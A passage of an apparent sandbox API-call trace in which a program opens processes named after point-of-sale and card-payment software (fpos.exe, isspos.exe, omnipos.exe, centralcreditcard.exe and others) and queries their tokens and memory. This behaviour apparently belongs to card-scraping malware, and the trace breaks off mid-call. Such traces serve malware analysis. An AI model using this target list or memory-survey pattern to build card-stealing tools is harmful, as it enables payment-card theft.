QueryFullProcessImageNameW (in: hProcess=0x264, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Internet Explorer\\centralcreditcard.exe", lpdwSize=0x119fa50) returned 1 [0095.669] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.670] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.670] IsWow64Process (in: hProcess=0x264, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.670] NtQueryInformationProcess (in: ProcessHandle=0x264, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.670] GetProcessTimes (in: hProcess=0x264, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.670] OpenProcessToken (in: ProcessHandle=0x264, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.670] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.670] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.670] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.670] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.670] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.671] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.671] NtClose (Handle=0x2a0) returned 0x0 [0095.671] NtQueryVirtualMemory (in: ProcessHandle=0x264, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.671] NtQueryVirtualMemory (in: ProcessHandle=0x264, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.682] QueryFullProcessImageNameW (in: hProcess=0x268, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Common Files\\creditservice.exe", lpdwSize=0x119fa50) returned 1 [0095.683] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.683] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.683] IsWow64Process (in: hProcess=0x268, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.683] NtQueryInformationProcess (in: ProcessHandle=0x268, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.683] GetProcessTimes (in: hProcess=0x268, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.683] OpenProcessToken (in: ProcessHandle=0x268, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.683] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.683] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.683] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.683] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.683] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.684] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.684] NtClose (Handle=0x2a0) returned 0x0 [0095.684] NtQueryVirtualMemory (in: ProcessHandle=0x268, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.684] NtQueryVirtualMemory (in: ProcessHandle=0x268, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.696] QueryFullProcessImageNameW (in: hProcess=0x26c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Analysis Services\\edcsvr.exe", lpdwSize=0x119fa50) returned 1 [0095.696] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.696] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.696] IsWow64Process (in: hProcess=0x26c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.696] NtQueryInformationProcess (in: ProcessHandle=0x26c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.696] GetProcessTimes (in: hProcess=0x26c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.696] OpenProcessToken (in: ProcessHandle=0x26c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.696] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.696] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.697] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.697] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.697] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.697] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.697] NtClose (Handle=0x2a0) returned 0x0 [0095.697] NtQueryVirtualMemory (in: ProcessHandle=0x26c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.697] NtQueryVirtualMemory (in: ProcessHandle=0x26c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.708] QueryFullProcessImageNameW (in: hProcess=0x270, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Internet Explorer\\fpos.exe", lpdwSize=0x119fa50) returned 1 [0095.709] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.709] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.709] IsWow64Process (in: hProcess=0x270, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.709] NtQueryInformationProcess (in: ProcessHandle=0x270, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.709] GetProcessTimes (in: hProcess=0x270, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.709] OpenProcessToken (in: ProcessHandle=0x270, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.709] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.709] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.709] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.709] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.710] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.710] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.710] NtClose (Handle=0x2a0) returned 0x0 [0095.710] NtQueryVirtualMemory (in: ProcessHandle=0x270, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.710] NtQueryVirtualMemory (in: ProcessHandle=0x270, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.721] QueryFullProcessImageNameW (in: hProcess=0x274, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files (x86)\\Windows Mail\\isspos.exe", lpdwSize=0x119fa50) returned 1 [0095.722] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.722] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.722] IsWow64Process (in: hProcess=0x274, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.722] NtQueryInformationProcess (in: ProcessHandle=0x274, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.722] GetProcessTimes (in: hProcess=0x274, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.722] OpenProcessToken (in: ProcessHandle=0x274, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.722] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.722] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.723] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.723] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.723] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.724] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.724] NtClose (Handle=0x2a0) returned 0x0 [0095.724] NtQueryVirtualMemory (in: ProcessHandle=0x274, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.724] NtQueryVirtualMemory (in: ProcessHandle=0x274, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.736] QueryFullProcessImageNameW (in: hProcess=0x278, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Analysis Services\\mxslipstream.exe", lpdwSize=0x119fa50) returned 1 [0095.736] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.736] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.736] IsWow64Process (in: hProcess=0x278, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.736] NtQueryInformationProcess (in: ProcessHandle=0x278, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.736] GetProcessTimes (in: hProcess=0x278, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.736] OpenProcessToken (in: ProcessHandle=0x278, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.736] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.736] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.737] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.737] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.737] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.738] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.738] NtClose (Handle=0x2a0) returned 0x0 [0095.738] NtQueryVirtualMemory (in: ProcessHandle=0x278, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.738] NtQueryVirtualMemory (in: ProcessHandle=0x278, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.749] QueryFullProcessImageNameW (in: hProcess=0x27c, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Portable Devices\\omnipos.exe", lpdwSize=0x119fa50) returned 1 [0095.750] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.750] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.750] IsWow64Process (in: hProcess=0x27c, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.750] NtQueryInformationProcess (in: ProcessHandle=0x27c, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.750] GetProcessTimes (in: hProcess=0x27c, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.750] OpenProcessToken (in: ProcessHandle=0x27c, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.750] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.750] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.751] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.751] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.751] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.752] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.752] NtClose (Handle=0x2a0) returned 0x0 [0095.752] NtQueryVirtualMemory (in: ProcessHandle=0x27c, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.752] NtQueryVirtualMemory (in: ProcessHandle=0x27c, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.772] QueryFullProcessImageNameW (in: hProcess=0x280, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Windows Sidebar\\spcwin.exe", lpdwSize=0x119fa50) returned 1 [0095.772] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.772] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.772] IsWow64Process (in: hProcess=0x280, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.772] NtQueryInformationProcess (in: ProcessHandle=0x280, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.772] GetProcessTimes (in: hProcess=0x280, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.772] OpenProcessToken (in: ProcessHandle=0x280, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.773] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.773] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.774] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.774] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.774] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000), nSubAuthority=0x0) returned 0xab0d10 [0095.775] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab0d00) returned 1 [0095.775] NtClose (Handle=0x2a0) returned 0x0 [0095.775] NtQueryVirtualMemory (in: ProcessHandle=0x280, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x10000, State=0x10000, Protect=0x1, Type=0x0), ResultLength=0x0) returned 0x0 [0095.775] NtQueryVirtualMemory (in: ProcessHandle=0x280, Address=0x10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xab0cb8, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xab0cb8*(BaseAddress=0x10000, AllocationBase=0x10000, AllocationProtect=0x4, RegionSize=0x10000, State=0x1000, Protect=0x4, Type=0x40000), ResultLength=0x0) returned 0x0 [0095.787] QueryFullProcessImageNameW (in: hProcess=0x284, dwFlags=0x0, lpExeName=0x1273230, lpdwSize=0x119fa50 | out: lpExeName="C:\\Program Files\\Microsoft Office\\spgagentservice.exe", lpdwSize=0x119fa50) returned 1 [0095.787] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1273230) returned 1 [0095.787] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x119fa24 | out: Wow64Process=0x119fa24) returned 1 [0095.787] IsWow64Process (in: hProcess=0x284, Wow64Process=0x119fa34 | out: Wow64Process=0x119fa34) returned 1 [0095.787] NtQueryInformationProcess (in: ProcessHandle=0x284, ProcessInformationClass=0x18, ProcessInformation=0x119fa30, ProcessInformationLength=0x4, ReturnLength=0x119fa34 | out: ProcessInformation=0x119fa30, ReturnLength=0x119fa34) returned 0x0 [0095.787] GetProcessTimes (in: hProcess=0x284, lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58 | out: lpCreationTime=0x119fa50, lpExitTime=0x119fa58, lpKernelTime=0x119fa58, lpUserTime=0x119fa58) returned 1 [0095.787] OpenProcessToken (in: ProcessHandle=0x284, DesiredAccess=0x8, TokenHandle=0x119fa24 | out: TokenHandle=0x119fa24*=0x2a0) returned 1 [0095.787] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x119fa20 | out: TokenInformation=0x0, ReturnLength=0x119fa20) returned 0 [0095.787] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x40) returned 0xab0d00 [0095.788] GetTokenInformation (in: TokenHandle=0x2a0, TokenInformationClass=0x19, TokenInformation=0xab0d00, TokenInformationLength=0x14, ReturnLength=0x119fa20 | out: TokenInformation=0xab0d00, ReturnLength=0x119fa20) returned 1 [0095.788] GetSidSubAuthorityCount (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x2000)) returned 0xab0d09 [0095.788] GetSidSubAuthority (pSid=0xab0d08*(Revision=0x1, SubAuthorityCount=0x1, 